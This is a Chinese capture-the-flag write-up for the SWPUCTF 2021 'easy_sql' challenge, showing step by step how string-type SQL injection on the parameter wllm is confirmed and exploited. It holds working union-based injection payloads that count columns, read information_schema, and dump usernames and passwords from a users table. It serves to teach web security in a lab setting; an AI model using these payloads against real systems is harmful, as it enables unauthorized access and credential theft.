[SWPUCTF 2021 新生赛]easy_sql

1.题目

2.打开题目如图

文章的标题说参数是wllm,那么我们传入参数测试,返回如下,我们试试1'去找注入类型

注入类型

数字型sql注入

字符型sql注入

我们传入wllm=1'的时候发现报错了,然后使用注释符闭合,不报错了,所以是字符型注入闭合为单引号

3.构造payload语句解题

1' order by 1--+ //正常

1' order by 2 --+ //正常

1' order by 3 --+ //正常

1' order by 4 --+ //报错

........................

我们可以知道这个数据库有4列,然后我们来判断回显点

语句:-1' union select 1,2,3--+ //这个闭合使用%23和--+都可以 ||'也可以闭合,这里没有返回回显点,忘记了需要用-1或这个不存在的,这样它差不到数据,才返回回显点

如下图,成功回显

发现有两个回显点,用哪个都可以,构造语句查看数据库

-1'union select 1,database(),3--+

查到数据库的名字是test_db然后通过数据库去查表名

-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test_db' --+

得到了一个test_db和一个users表

通过表名去查字段

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

查到了一堆的字段,其中username和password比较敏感,我们去看这两个字段的内容

-1'union select 1,group_concat(username,password),3 from test_db.users--+

很抱歉,这里发现flag不在username和password字段,而是再test_tb表中的flag字段中

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='test_tb'--

相关推荐
是桃萌萌鸭~23 分钟前
oracle的隐藏虚拟列详解
运维·数据库·oracle
2301_7796224125 分钟前
SQL分组聚合优化_GROUP BY索引与优化方案
jvm·数据库·python
m0_7407963629 分钟前
golang如何使用sync.WaitGroup_golang sync.WaitGroup并发等待使用方法
jvm·数据库·python
DianSan_ERP30 分钟前
抖店订单接口同步中如何解决订单漏单与数据一致性难题?
数据库
2401_8242226934 分钟前
c++如何通过重定向rdbuf来捕获第三方库的日志输出到文件【详解】
jvm·数据库·python
2401_8676239834 分钟前
CSS如何解决响应式文字大小调整_利用clamp函数实现流体排版
jvm·数据库·python
2501_9010064736 分钟前
如何使用SQL视图快速生成测试数据_模拟复杂场景
jvm·数据库·python
2401_8504916541 分钟前
安装宝塔面板提示端口被占用_查找并终止占用进程
jvm·数据库·python
2401_8330336242 分钟前
如何通过Java存储过程执行OS命令_Runtime.getRuntime().exec的封装与安全限制
jvm·数据库·python